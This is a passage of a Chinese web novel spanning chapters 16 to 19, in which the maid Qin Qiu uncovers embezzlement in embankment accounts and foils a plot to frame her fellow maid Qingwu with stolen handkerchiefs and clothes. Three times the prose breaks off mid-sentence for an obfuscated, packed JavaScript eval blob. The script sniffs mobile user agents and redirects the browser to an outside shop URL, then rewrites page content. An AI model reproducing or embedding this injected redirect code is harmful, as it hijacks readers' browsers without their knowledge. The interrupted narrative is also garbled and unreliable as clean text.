结果就是，秦秋右手一伸，就碰到了萧举年无意识搭在书案之上的手，她慌乱之中，胳膊一收，手肘又撞在了人家的肋上。秦秋这才惊觉身侧一直站着一个人，等意识到此事，她才发觉对方的呼吸就在自己头顶，难怪总觉得右边的身子比左边暖和，她还以为是那头的炭盆烧得旺些。 萧举年轻呼一声，揉着胸口后退两步，自己也略觉不自在，只好轻咳两声以饰尴尬，又惦记着秦秋方才的举动，忙问：“秦姑娘可是发现了什么？是要寻纸笔吗？” 别想多，别想多，这位萧大人肯定是没看出账册的问题，刺史大人才要寻我，他应当也是心急才忘了男女之防。秦秋心里自顾自地说道，又听对方这么一问，她更坚信自己的推断了，忙说道：“纸笔也要，但是得先寻个算盘。” 说完，秦秋就扭头四下搜寻起来。萧举年亦帮着四处翻找。只是，刘刺史的书房怎会有算盘，二人搜寻无果。 秦秋沉吟片刻，说道：“婢子失礼，大人来了这许久，也未给大人上茶。请大人在此稍候片刻，我去给大人端些茶水点心。” 萧举年笑了笑，正要说一声“不必如此客气”，秦秋下一句已经说了出来“顺便，弄个算盘过来。” “如此，便劳烦姑娘了。” 直至走在回凝晖轩的路上，秦秋才敢伸手摸了摸自己的脸颊，方才便觉面上有些热，也不知有没有脸红，她这般想着，猛一抬头，却见前方一个人影一闪，那背影像是碧霄。 17. 第十七章 碧霄的身影在去往后园的方向消失了。又是后园！秦秋只在心里嘀咕了一句，脚下却不停，回凝晖轩取了算盘，又匆忙去厨房端了热茶和点心，折返外书房的路上，竟又远远地瞧见了碧霄，她站在月洞门的这边，那边似乎还有个人，两人像在说话，那人还拉住了碧霄的衣袖。 碧霄这人，别看对谁都笑脸相迎，一副温和无害的模样，实则心思深得很，若她真做了什么见不得人的勾当，自己这般撞上去，她岂不是要恼羞成怒？这种人恼起来指不定会使出什么阴毒手段，眼下哪有那闲功夫去应付她！心里这般想着，秦秋当即闪身躲在一处山石后面，只想着先躲过这起尴尬事。 秦秋躲在暗处，只见远处的碧霄说着话，忽然像羞了似的，将袖子用力一甩，挣脱了对方，却从衣袖中甩出了两条手帕，她也不去捡，翻身就往内院的方向跑。等她跑开了，那月洞门后才闪出一个油头粉面的人来，看装扮倒像是小厮模样，只年纪忒大了，一看便是别人拣剩下不要的老□□，那□□几乎是扑过去捡起地上掉落的手帕，放在鼻尖狠嗅了两下，又痴痴地往碧霄跑去的方向望了两眼，才心满意足地甩手走开了。 两人这番动静，尤其是那小厮的模样和做派，令秦秋看了直犯恶心。若非亲眼所见，秦秋都不知刺史府里还有这等不入流的小厮，二夫人管家可真是够厉害的。不过，碧霄这人心高气傲，又是一心想当姨娘的，怎会跟这样的人拉扯？秦秋盯着碧霄的背影，越看越可疑，忽然，她见对方在拐角处停了下来。 秦秋忙往山石后面又躲了躲。 碧霄往后一看，早已没了黄三儿的身影，她这才收起脸上的娇羞和惊慌，嫌恶地擦了两下衣袖，又狠狠地往地上啐了两口，才飞快地离了此处。 等两方都消失无踪了，秦秋才踱步出来，她觉着，她大概猜着碧霄想干什么了，和熙堂的消息，碧霄一定知道了，若她猜得没错，碧霄方才“意外”掉落的两块手帕，应是青梧的。 外书房内，萧举年再见到秦秋，已是两刻钟之后了。 “算盘找到了？”萧举年温和地笑着。 秦秋一路都在想着碧霄和青梧的事，见了萧举年才重整思绪，面上重泛起点点笑意，为萧举年斟了一杯热茶，自己则走回书案之后，将算盘拨得噼啪作响。 萧举年手里端着茶，心里微热，他此时也不再急着往前凑，自己寻了一把椅子坐下，一边喝茶一边暗暗地观察秦秋。 秦秋一触了账本，就容易废寝忘食，不消片刻就沉浸其中，只见她左手翻着账本，右手极其熟稔地拨着算盘，一时皱眉，一时哂笑，偶尔动笔写上几行，浑然忘了书房里另一个人的存在。 萧举年本来是瞧着她有趣，可瞧着瞧着他不觉也入了迷，茶凉了水没了自己也不添上，两眼都看得呆住了。 直至秦秋把第一本账册看完，脸上露出自矜之色，右手将算盘提起又啪嗒一声放下，微微翘着嘴角，道：“萧录事，这本账册我看完了！”秦秋说完就抬头去寻萧举年的身影，眼底透着难以掩饰的得意。 这是萧举年第一次见秦秋露出这般自得之色，那骄傲的小模样，跟他胞弟每次射覆拔了头筹的自喜之色如出一辙。 萧举年也跟着笑了，眉眼弯弯，神色愈发温和，道：“可看出了什么？” 瞧瞧，萧录事这笑才是笑呢，让人如沐春风，月洞门撞见的那笑简直令人作呕，总算是洗干净眼睛了！秦秋心下一叹，又赶紧将心绪转到正事，道：“这本账册有两处大弊！” “哪两处？”说话间，萧举年已踱步至秦秋身侧。 “你看，”秦秋将自己方才所书往萧举年眼前一推，同时不忘把账册也扒拉到二人之间，道，“八月，武陵郡延长芷江河堤，在原河堤下游，新挖地基五里，浇筑砂石十万石，按一石砂石一百钱付讫，总共付了一万两，可到了十月，浇筑地面堤坝的时候，又写了费砂石三十万石，这次是按二百钱一石付的，总共付了六万两。” 萧举年点头称是，道：“其实我先前也怀疑过，前后不过隔了一个月，这砂石的价格怎么可能涨了一倍！” “不只是价格。”秦秋嘴角轻勾，鼻间溢出一声嗤笑。 萧举年一惊，道：“怎么说？” 秦秋一手背在身后，一手指着书案，萧举年觉得此时的秦秋浑身都在闪着光，她先前总是自称“婢子”，而眼前的她撕破了那一层伪装，那谦卑是装出来的，她的内心骄傲得很，每当立于无人处、站在她的领地，她就像个傲视群雄的君主，而自己才是无意间闯进去的那个卑微的臣下。萧举年的心在震颤，一半是为账册的突破，一半是为眼前之人。 只见秦秋指着账册，声音沉静而肯定：“撇开价格不说，这砂石的用量有问题。若是修河堤，砂石的用量，地面大概是地基的两倍，按账册记的，新修五里，地上和地下最多一起耗费砂石三十万石。” “什么？你是说——”萧举年瞪大了眼睛。 “没错。”秦秋点头，道，“这里昧下了十万石砂石的银两。不管怎么算，也不管八月的浇筑是真是假，我可以肯定，这砂石所耗费的七万两，有四万两都进了私囊。” 萧举年简直不敢相信自己的耳朵，他右手的青筋都浮了上来，咬着牙骂道：“他们竟敢如此黑心！” 秦秋继续说道：“除了砂石，还有清理河道淤泥的工钱……” 等秦秋说完，萧举年眼底的敬佩之情已经满溢出来，他情不自禁地对着秦秋拱手行了一礼，道：“秦姑娘真是查账的好手，萧某满心佩服！” 他这般郑重的礼节，反倒让秦秋有些不好意思，她忙侧身一躲，道：“不敢受萧录事的礼，这都是我分内事。” 萧举年眼角眉梢都是暖意，笑道：“不过，萧某有一事好奇，秦姑娘如何得知修河道要用的砂石比例的？” “唔，书上看的。” “你还看修河道的书？”这下萧举年更惊讶了。 两人相处了大半天，又说了许多的话，秦秋此时也没有那么多戒备，只是轻笑一声，反问道：“怎么，萧录事觉得我不够资格看修河道的书吗？” “不是不是，你别误会，萧某绝无此意！”萧举年连连摆手，慌忙解释，“只是世人爱看理治之书者甚少，我是惊讶于一个闺阁女子竟也能涉猎如此之广。” 秦秋笑道：“大人抬举了，我一个奴婢，不过是先前夫人在世时，有幸常在书房伺候，夫人的嫁妆里书籍甚多，我偶尔偷闲时，能接触什么便看什么罢了，谈不上什么涉猎不涉猎的。” 你在我面前不必自称奴婢的，这句话在萧举年喉间滚了又滚，他欲言又止，生怕说得不好反而显得自己造次。落在秦秋眼里，就见这位萧录事喉结动了又动，就是不说话。 秦秋疑惑，猛然醒悟，笑道：“瞧我，午膳时辰都过了，竟忘了给大人摆饭。大人稍等，我去去就来。” 秦秋赶到厨房时，灶上果然只剩残羹冷炙，她懊恼地拍了一下脑袋，怎么办，让这位萧录事再吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598219|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些糕点？正苦恼之际，一只宽厚的大手猛地拍在她后背，与之而来的是热情的一嗓子：“秋丫头，怎才来！” “六婶！”秦秋激动地转过身来，她第一次想抱住六婶。 六婶呵呵笑了，抓着她的手就往一个还冒着热气的灶台走，嘴里念叨着：“你呀，先前来说外书房有客，是州府衙门的人，也不说在不在府里用膳，也不说几个人，我呢，就按三个人给留的饭菜，你看看，可够？” “够了够了！”秦秋抱住六婶的胳膊，一个劲地点头，道，“是我忙忘了，手头的活忙完了才想起萧录事还没吃饭。” “哟，是萧家那小子啊！那敢情好！来来来，我来装盒。你吃了吗？”六婶问着话，手上功夫不停，不知从哪扒拉出一个漆盒，麻利地往里塞盘子。 秦秋随手拈了一个馍馍，撕下一块往嘴里塞，道：“还没呢，我先送饭去外书房。” 六婶手一顿，嗔道：“傻孩子，你去那儿吃，掀开那个蒸笼，那是我留的饭。我替你送饭去外书房。” 秦秋也确实饿了，眼珠一转，这么处置似乎也妥当，便从善如流地走开了。 萧举年在外书房，自己往炭盆里添好炭，又续上茶水，坐在椅子上只觉心头暖暖的，不时往门口张望一眼，心道，等候，似乎也不是什么难熬的事。唔，等刺史大人例外。 “萧家小子，给你送饭来了。”六婶的笑脸出现在门口。 萧举年心下一咯噔，等候，似乎也是常出意外的事。 等秦秋自己填饱肚子又是两刻钟之后了，离开厨房时，她还不忘提上一壶热水。又一次路过通往后园的月洞门时，恰巧几个小厮躲在矮墙后面蹲着晒太阳，几人的声音不免再次传进了她耳朵里—— “方才，黄三儿那小人猖狂样，你们瞧见了吗？呸！真不要脸！竟然敢说青梧姐姐看上了他！他也不撒泡尿照照，真恶心！” “就是！青梧姐姐仙女似的模样，看上他？真是笑死个人！” “诶诶，可是，你们看到了吗，他掏出的那两块帕子，像是里头几个姐姐日常用的式样。” “那指不定是他偷的呢！” 秦秋的脚步慢了下来，果然，她所料不差，鹊儿说的话，木槿说的话，她先前撞见的事，此时都串在一起，碧霄的歹毒让她打了个寒噤。 “秋丫头！”六婶迎面而来，抬了抬手，示意秦秋看她手里，笑眯眯地说道，“怎么发愣呢？放心吧，书房那儿我都收拾好了，你好好当差。” 六婶走了，矮墙那边也安静了，秦秋心内一叹，脚下似比先前重了许多。 书案后面，秦秋翻开了另一本账册，只是这次，她再难浑然忘我，脑子里一时是“闲事莫管，闲事莫管”，一时是木槿笑吟吟地来找她，提醒她当心，她于木槿不也是闲事一件吗？ 秦秋的一举一动皆落在萧举年眼里，他自然察觉到了她的心不在焉，莫非是累了？萧举年暗忖道。忽然，他心念一动，又想道，这账册倒也不用急在今日看完，若今日看不完，明日自己不就可以再来吗？若明日看不完，不就还有后日？ 思及此，萧举年忙紧走两步上前，温和地笑说道：“你是不是累了？我想着，今日足够向刺史大人交差了，要不我先回衙门，你先歇着，我明日再来。” 秦秋看着眼前的笑脸，只看到萧举年的嘴唇开开合合，却完全没有听进去一个字，终于，她搁下手中之物，长长一叹，一脸严肃地说道：“萧录事，我有一事想请教你。” 18. 第十八章 萧举年一听这话，脸上的笑意愈发温和了，忙温声说道：“怎么了？可是遇到了什么烦难之事？你只管告诉我，我定会想法子为你排解。” 秦秋微微垂了眼皮，双手不安地绞缠两下，嗫嚅半晌，才缓缓开口：“萧录事，若是你认识一个人，你与她的交情不过尔尔，但是你无意间获知，唔，也不算获知，是猜测，猜出有人要加害于她，你会提醒她吗？” 这？萧举年有一瞬的怔愣，这是何意？她方才去吃顿饭的功夫，就破解了旁人的一个阴谋？萧举年看向秦秋，刚要开口，对方又补了一句：“只是猜测，她要加害的人，嗯，性子有些，是个爆脾气，藏不住事，也未必会信你的话，你若提醒了，她还有可能当场去找害人之人对峙，那人可能转过头害你。但是这事，若是那人得手了，被害之人也许会赔上性命。” 以青梧的性子，她宁死也不会让碧霄和黄三儿得逞的，说不得就会鱼死网破，一根绳子了结了自己，可那是一条人命啊！说到底，青梧说话是有些尖酸刻薄，可也从来没有无的放矢，不管她嘴多坏，可她也从来没有无故欺负过谁。秦秋说完，抬眼巴巴地看向萧举年，眼底满是希冀。 这茫然无措的眼神可把萧举年稀罕坏了，他看着眼前的姑娘，心里某处比外面飘落的雪花还要绵软，这是真让她为难了吧！萧举年收在身侧的手指蜷了一下又展开，轻轻抬了两下，最终还是垂在身侧，淡淡一笑，道：“我猜你读过《论语》。” 秦秋不明所以，但是点点头。 萧举年柔声说道：“那你可还记得这一句‘仁者必有勇，勇者不必有仁’？”他话音刚落，就见秦秋身躯一颤，眸中一亮。 萧举年笑了，这笑是褒奖也是鼓励，继续说道：“我晓得后宅有些阴私手段杀人不见血，我也晓得你想帮她，也定会帮她。你不用怕那害人之人，你别忘了，我不会……刺史大人不会弃你不顾，你可是大功臣！”萧举年到底还是把“我不会袖手旁观”咽了回去，凡事不可造次，他将秦秋看完的那本账册抓来，举在手里晃了晃。 秦秋果然心下稍安，对，大人让她帮着查河道监修的账册，就意味着她有用，她既有用，碧霄想害她也不是那么容易，况且，她还有爹娘呢，怕她作甚！ 打消了顾虑，秦秋脸上的凝重和不安尽皆消退，她对着萧举年莞尔一笑，又郑重行了一礼，道：“多谢萧录事提点，那今日便到这吧，明日我在此恭候萧录事。” 秦秋回到凝晖轩时，院子里其他人在外面闲逛未归，只有守院门的王婆子抱着手炉在墙根底下晒着太阳打盹儿。秦秋又仔细地晃了一圈，不见碧霄。她拐回后罩房，自家屋子里没有人，悄声提步来到隔壁屋子窗户底下，倒是隐隐绰绰地透出个人影，正埋头做针线。 “谁在外面？又作出鬼鬼祟祟的样子？我一日不骂你们，你们就皮痒是不是？” 秦秋低头一叹，忽然笑了，笑过之后又摇头，径直走了进去。 “秦秋？”青梧见是她倒显出几分惊讶，嘴角一撇，“听闻今日外书房有客，你既去了书房当差，怎又偷懒溜回来了？” 秦秋兀自拖过一把椅子，在青梧对面坐了，此时无人，她也不磨叽，敛了神色，道：“青梧姐姐，我特意回来寻你的，有一件要紧的事，关乎性命，你得先答应我一句，别嚷嚷。” 青梧也知晓秦秋素日为人，这是个不多事不多话的，见秦秋这般严肃，她原本板着的脸缓和了几分，手里的针线也放下了，只嘴上仍是不饶人的气势：“什么事这么神神叨叨的？你且说说看。” 秦秋微微侧过头，指着屋子东北角的几个樟木箱子，道：“姐姐先翻翻箱子，看看平素用的手帕可有遗失？” 青梧脸色微变，扔下手中针线，快步走过去，弯腰开了自己的箱笼。 半晌，她面上浮出怒色，柳眉倒竖，已是轻骂出声：“好啊好啊，凝晖轩竟然出了贼！我今日就要好好地审一审这些小蹄子！” 秦秋扶额，无奈地叹了一声，止住她：“青梧姐姐，你先别嚷，听我说完。” 青梧脸上韫色未退，见秦秋眼神清明，目光坚定，她少不得依了她，愤愤地坐下，催促道：“最烦你们说话留半截的，快说，我保证不让旁人知晓是你告诉我的便是！” 秦秋眸色一敛，声音也低沉了几分：“我与你说的，只是我的猜测，所以你须应下我，不要嚷嚷出去，若是让她知道了，你我反倒难防她下一步了。” “她？她是谁？你知道是谁？”青梧此时心中已生出几分惊骇，见秦秋神情严肃地盯着自己，在对方的迫人眼神之下，她缓缓地点了点头，嗓子不觉也干了几分，“我答应你便是，你快说，都急死我了。” 秦秋牵了她的手，将人带至门边，二人所倚之处，刚好能看到后罩房拐出去的转角，青梧不解，刚想开口，秦秋已经低声说道：“‘事以密成，语以泄败’，站在这儿说，若有人回来我们能看见。昨日你和鹊儿经过后园时，碧霄是不是极其反常地同你打招呼？” 青梧面色凝重地点头，秦秋这般行事，她心里忽然没了底，她看向眼前之人，对方一瞬不眨地盯着外面，继续说道：“我听到了一个消息，过了年开了春，老夫人想为大人抬姨娘，不是你就是碧霄。”秦秋略过自己不提，免得节外生枝。 “今日我送茶水去外书房时，撞见碧霄在月洞门那儿与一个男人拉拉扯扯，还遗落了两方手帕。她这么一个人，一心扑在大人身上，又心机深沉，别说遗落两方手帕，就算在外面掉了两根头发丝儿恐怕都要防人捡了去。可那两方帕子当着她的面抖落出来的，她竟眼都不眨，任由旁人捡了去。” “她——”青梧暴怒，才一张嘴，就被秦秋抬手捂住。 “青梧姐姐，听我说完。后来，我又从厨房送膳食过去，无意间听到了几个小厮嚼舌头，说是有一个叫黄三儿的，拿了两方手帕，四处嚷嚷是青梧姐姐给他的。于是，我将所有事情串在了一处，大胆猜测，碧霄是想顶着你的名号，与这个黄三儿私相授受，那两方手帕就是定情信物。” 青梧此时倒是骂不出来了，源源不断的寒意从脚心往上窜，直窜到头顶，她既惊且惧，饶是她平时嘴巴再厉害，也万想不到同一张炕上睡着的人竟能如此害她。 等青梧缓过神来，擦干了手心的冷汗，她才抖着手紧紧攥住秦秋，恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598220|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声说道：“走，你与我一起去见老夫人，求老夫人为我做主！这个黑心肠的小娼妇——”说话间拽着秦秋就要往外走。 秦秋反手将人往回拉，叹道：“你先别急，眼下只是我的猜测，她也只是送了两方手帕，若咱们此时就去寻老夫人，碧霄不会承认的。不过是两方手帕，若碧霄反咬一口，说她不知情，说那帕子是黄三儿偷的呢？你别忘了，碧霄是谁的人？那时，她顶多落个嫌疑，但是你在老夫人面前也落不下好。” 青梧咬牙骂道：“这个黑心烂肠挨千刀的！难道我就这么算了不成？那个什么黄三儿黄四儿，什么恶心人的玩意儿，他也配叫我的名字？既不能去找老夫人，那就去找碧霄，她想害我，我也不能让她好过。对，她的箱子也在这呢，我也帮她送些东西出去！” 青梧说着，翻身就要进去开箱子，被秦秋奋力拉住了。 “青梧，你冷静些！”秦秋低喝一声。 青梧眼睛和脸都红了，她一生要强，何时遭过这样的算计，此时是恼也是怒。 秦秋叹了一口气，道：“我问你，你丢的两方手帕，可有特别之处？” 青梧也不是不识好歹，心知此时、此事秦秋才是她的主心骨，她认真地想了一回，道：“料子倒是普通，我和木槿、春雪都有，只是上面绣的梧桐叶，是独一份。” 秦秋忍不住在心里嘀咕，所以说啊，让你们平日别绣花绣得那么特别，都像自己这般用素色的帕子不好吗？内心感慨完，她眼珠一转，忙问：“这料子你还有吗？” 青梧摇摇头，忽然又点点头，道：“木槿！木槿那儿应该还有。” 秦秋嘴角一勾，道：“那就好办了！你一会儿就去寻木槿，悄悄地去，问她讨些料子，就按着那两方手帕的式样，多绣几条，然后送人！送给几个靠的住的人，一定要嘴巴严实的！记住了？” 青梧懂了，忙不迭地点头，又问道：“那碧霄呢，就这么放过她不成？” “怎么能放过她呢！”秦秋冷笑，道，“俗话说得好，‘只有千年做贼的，没有千年防贼的’，今日只是两方手帕，咱们有办法补救，明日不定她送出点什么呢！有这么一个人在，与其日夜提心吊胆，不如釜底抽薪。我倒是有一个想法，听说你最近很得郭二姑娘喜欢？” 青梧不解，道：“郭二姑娘？跟她有何关系？” 秦秋不答反问：“你与郭二姑娘可相熟？她可信你？你放心，我当然不会害郭二姑娘。” 青梧低头思索片刻，才道：“她喜欢我的针线活儿，我昨日才为她补了一条裙子。我虽不知她喜不喜欢我，但我瞧着她是个性情爽利的，你先说要做什么，或可一试。” 秦秋眉梢一挑，微微笑了。 青梧愣了一下，心底忽生感慨，秦秋读书识字的，刚才有条不紊地给自己出主意，现在又这么一笑，笑起来透着一股蔫儿坏的味道，她以往真是错看她了。只见秦秋抬手一招，道：“附耳过来。” 青梧忙侧转脸蛋，将耳朵送过去。 只听秦秋低语：“即日起，你得先将你的贴身衣物及一应物品锁好，不能再让碧霄拿到，然后，你去寻郭二姑娘……” 19. 第十九章 腊月十七这日，凝晖轩后罩房最东头的屋子里，炕床上的两人都在假寐。 碧霄早早地醒了，黑暗中，她侧转身子去寻青梧的身影，只能看到一个起伏的轮廓。她已打听清楚了，明日是老夫人的赏梅宴，今日是后园修缮的最后一日，过了今日，那个叫黄三儿的再难进后宅，自己若要成事，便只有这最后的机会了。 仅有手帕是不够的，两方手帕只能让黄三儿神魂颠倒一时，那人也不蠢，仅凭两方手帕顶多让他发个梦、吹吹牛，旁人也不会轻易相信青梧一个一等大丫鬟能看上那样的腌臜货，他也生不出贼胆去提亲。无论如何还差些火候，今日都得再送些东西才好。送什么呢？最好能将此事做实，即便不能让青梧嫁他，也得在老夫人面前坏了青梧的名声才行！ 冬日凌晨的漆黑冰冷中，碧霄睁开的眼睛就像毒蛇的信子，隔着被子都能让青梧毛骨悚然。 青梧一夜不曾睡踏实，只要一想到自己枕边睡了一条毒蛇，谁还能安稳！碧霄一有动静，她就惊醒了。她不用睁眼也察觉到了碧霄此刻的凝视，就像荒村古店里藏在深处的鬼魅，随时都会扑上来咬自己一口，这个毒妇！ 青梧不敢动，连呼吸都快屏住了，她静静地等着对方翻身，可对方迟迟没有动作，最后实在受不住了，她只好假装梦呓，咕嚷了一声“冷死个人”，伸手将被子往头上一扯一罩，整个人背转过去缩成一团，闷在了自己的被窝里，青梧才敢睁开眼睛，狠狠地轻轻地吁了两口气。 莫怕莫怕，你有秦秋呢！青梧这般安慰着自己。 一墙之隔正在酣睡的秦秋，还不知经了一夜，她已成了青梧的安神定心万灵丹。 刘从俭显然对昨日外书房查出的事十分满意，今日一顿早膳下来，可谓是和颜悦色。正房伺候的人都暗暗称奇，大人今日的脸总算不再僵着了。 临出门前，刘从俭还不忘随手指了一碟没怎么动过的豆沙蒸饼，道：“甜腻腻的，你们拿去分了吧。”说完，整整衣袍跨出正房的门槛。 碧霄和青梧忙紧随其后，将他送出院门。 刘从俭站在院门处，又撂下一句：“传话给秦秋，今日外书房有客，别忘了备好茶水点心。”这下才真走了。 青梧忙应下，不忘觑了一眼碧霄的脸色，果见碧霄笑意一僵，脸上阴晴不定，瞬间换了颜色，可又马上换了回来，柔声答应着“是”。 不用撩开袖子，青梧也知道自己臂上一定起了鸡皮疙瘩。秦秋昨日说得对，碧霄这等人，容不下任何变数，她忽然想起了凝晖轩往年被逐出去的那些人，有容貌好的、有性情柔顺的、有说话讨巧的、还有大人多看了几眼的…… 青梧垂下眼帘，盖住眼底的愤怒，想必这些人被逐都少不了碧霄的手笔。 “走吧，咱们去吃饭吧。”碧霄亲热地唤道。 青梧抬眼时，脸上已经换成了跟平日一样的尖酸神色，她高傲且不屑地哼了一声，道：“碧霄姐姐自去吃饭吧。我去给秦秋传话，一会儿还得去趟三夫人那儿呢。哪像姐姐这么闲哪！”说完，手中绢帕一甩，头一昂就进了院门。 二人这番动静自然又落在了守门的两个婆子眼里，等青梧走远了，一个婆子忙道：“碧霄，你快去吧，甭理她。” 碧霄脸上仍挂着温柔的笑，闻言只是体贴地回了一句：“天冷，你们也快去吃饭吧。青梧就这脾气，我都惯了。” 秦秋掐着时辰醒来，慢悠悠地吃了早饭，才两手往袖子里一拢，抬脚欲往厨房而去，今日大人都交待了，可不能再忘了先备好茶水。 青梧站在廊下指挥着两个小丫鬟喂鸟、爖茶炉子，见了她，一手叉着腰一手指着她喊道：“诶，秦秋，你去哪儿？” 做戏倒也不用这么足吧？不过，青梧以往刻薄惯了，腔调十足，丝毫看不出伪装痕迹。秦秋在背着她的时候翻了个白眼，才转身回话：“青梧姐姐，我要去厨房。” “正好，给我提一壶滚烫的水来，等茶炉子弄好了，刚好煮茶。” 秦秋不理她，撤身就走，边走边说：“姐姐要茶要水使唤别人去，我今日不在院里当班，大人吩咐了，我要去外书房呢，还是姐姐传的话，姐姐也忘得忒快了。” 秦秋说着话，人已经疾步走出了院子，廊下的几个人只见青梧气个倒仰，鼻子冒烟，扔下手中的鸟食就追了出去，一边追还一边骂“小蹄子，你给我站住，才去了书房几日啊就不把我放眼里了”，旁人见了只得摇头叹息。 碧霄在正房一面整理被衾，一面侧耳留神着窗外的动静，听到青梧叫骂着追了出去，她心头窃喜，忙装模作样地吩咐了屋内的小丫鬟几句，自己则快步闪身回了她和青梧的屋子。 在哪儿呢？钥匙在哪儿呢？青梧的箱子怎么上锁了？碧霄在屋子里急得团团转，平日里青梧可是从不给箱子上锁的，怎么今日就锁上了？ 她心急如焚，眼角余光忽然落到青梧铺盖旁边那个簸箩上面。那里随意搁着一双袜子和一件水红色的小袄，衣料精致，上头还落着针线。碧霄有些拿不准，这两件衣裳瞧着有些眼生，可，青梧的衣裳多，她似乎也分不太清。 “青梧姐姐，青梧姐姐，你在家么？”鹊儿的声音由远及近。 不管了，都带走！碧霄心一横，拿起自己的一个包袱，将簸箩里的那两件衣裳飞快地塞了进去，胡乱一裹一系，夹在腋下就往外走，才跨出房门，鹊儿就到了跟前。 鹊儿垫着脚向里面看了一眼，道：“碧霄姐姐，青梧姐姐不在么？” 碧霄扯出一抹笑，道：“出去逛去了，你去凝昕馆找找吧。”说完，头也不回地拎着包袱走了。 那厢，青梧一路追在秦秋后面，快到厨房了才停下。 秦秋见四下无人，才低声说道：“若回去时，衣裳已经被她拿走了，你知晓该如何？” 青梧点点头，道：“我晓得，不动声色嘛。” 秦秋这下没忍住，当面翻了一个白眼，道：“你是块爆炭，你忍得住？你不能忍，你得找衣裳，还得问人，再让鹊儿提醒你是不是落在别处了。过后，你再悄悄地去清渊阁。” “行，我记住了。”青梧答应着，低头在袖子里翻了两下，抽出两条手帕，拉过秦秋的手就是一塞，道，“呐，这两条帕子送你，我走了。”说完不等秦秋反应，一溜烟地跑没了影儿。 秦秋捏起帕子一角，迎风展开，手帕上的梧桐叶栩栩如生。寒风中，秦秋无奈地扶额一叹，嘴角抽搐两下，行，好样的！ 碧霄偷了衣裳之后，片刻不歇地赶到了从后园出府的必经之处，只等着黄三儿从此处经过。昨日她都问准了，黄三儿会在辰时领着工匠进府，到巳时他就会自己从后门溜出去喝酒，在外面厮混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598221|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到午时放饭才回来。 碧霄做贼心虚，脸白心热，心跳得厉害，倒真像是个私会情郎的模样。来了来了，一个人影慢慢靠近。碧霄瞅准了时机，将手里的包袱轻轻提着，闷着头就撞了过去。“哎哟”一声，人跌在地上，包袱“恰好”跌在黄三儿脚下。 “哪个不长眼的，也敢撞你黄三爷爷！哎哟，这不是，哎哟，我掌嘴，青梧，我的小心肝儿，可把你撞疼了？”黄三儿涎着面皮就要凑过去扶起碧霄。 碧霄装模作样地甩开他的手，又满面飞红地要爬过去捡地上的包袱。 黄三儿本就是个占便宜的老手，早眼疾手快地将脚下的包袱一把抢进怀里，猥琐地眯着眼，道：“瞧瞧，我们这短短三日都见了三回了，这是什么？这是天定的良缘呐！昨日捡了你的帕子，今日又捡了你的衣裳，你不跟我好，跟谁好？”黄三儿一面说一面逼近碧霄，嘴里酒气臭气熏人。 碧霄忍着恶心，脸上作出一副又惊慌又害羞的样子，软着嗓子恳求道：“什么好不好的，你先把包袱还给我，我，我还没定亲呢，传出去没脸见人了。” 黄三儿一听这话，半边身子已酥倒在那里，他一手将包袱严严实实地压在身后，一手摸着下巴笑道：“青梧妹妹，你瞧，你没定亲，我也没定亲呢，咱们这叫缘分啊，否则怎么你的东西偏偏就叫我给捡着了呢？” 碧霄用手帕捂住半边脸，低声道：“求求你，先将东西还我，我还要家去的，若是被我哥哥嫂嫂知道了，非得打死我不可。” 黄三儿的一双眼在碧霄身上滴溜溜地乱转，心想，这丫头看着比木槿还俊，若娶了她也是划算的，这般一想，当即脑门一热，道：“这包袱呢，我是不可能给你了，正好，就当你我的信物吧，我这就上你家提亲去！” 碧霄赶紧作出一副着急的模样要扑过去抢，不料却被黄三儿趁势拉住了手，一双柔荑被黄三儿狠狠地捏了两把，碧霄这下是真的羞愤欲死了，她奋力挣脱，红着眼喝道：“你若不还我，我现在就喊人了。” 黄三儿邪邪一笑，道：“你喊啊，你若喊了，我去你家提亲的事就更作准了，那可就连保媒的都齐了。”说完，他举起手中的包袱得意地笑了两声，抽身就走，嘴里高声说着—— “等着，我这就上你家提亲去。” 等黄三儿的身影消失无踪了，碧霄才觉惊魂甫定，一口气跑回内宅倚在墙上喘息个不住。她只觉心头大石落下，却没有一丝一毫对青梧的愧疚。 外书房内，萧举年清晰地察觉到，昨日上午那个对着账册意气风发的秦秋又回来了，他不禁笑问道：“害人之事被你解决了？” 秦秋正算着数，手里的算盘噼里啪啦地响得正欢，闻言头也不抬，只唇边闪过笑意：“解决了。” “哦？可要与我说说？算起来，昨日我也算有一丝功劳，不是吗？”萧举年将手里的茶盏搁在茶几上，好整以暇地看着书案之后的人。 “行。”秦秋一口应下，可手上动作并未立时停下，算盘珠子在她手中跳跃，就像琴师手下拨弄的瑶瑟玉筝一样，让萧举年觉得赏心悦目。 